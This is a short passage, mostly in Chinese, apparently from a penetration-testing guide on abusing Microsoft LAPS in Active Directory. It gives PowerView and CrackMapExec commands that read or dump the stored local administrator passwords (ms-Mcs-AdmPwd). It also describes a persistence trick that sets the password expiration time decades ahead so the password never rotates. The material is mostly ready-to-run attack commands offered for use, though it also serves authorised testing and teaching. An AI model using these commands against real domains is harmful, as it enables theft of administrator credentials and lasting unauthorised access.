PowerView 也可以用来找出谁可以读取密码并读取它：
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit 有助于枚举具有多个功能的 LAPS。
其中一个功能是解析具有 LAPS 启用的所有计算机的 ExtendedRights。这将显示专门被授予读取 LAPS 密码权限的 组，通常是受保护组中的用户。
一个已将计算机加入域的 帐户 将在该主机上获得 All Extended Rights，这个权限赋予了该 帐户 读取密码的能力。枚举可能显示一个用户帐户可以在主机上读取 LAPS 密码。这可以帮助我们 针对可以读取 LAPS 密码的特定 AD 用户。

使用Crackmapexec转储LAPS密码
如果没有访问powershell的权限，您可以通过LDAP远程滥用此特权。
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
LAPS Persistence
Expiration Date
一旦获得管理员权限，可以通过将到期日期设置为未来来获得密码并阻止计算机更新密码。
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
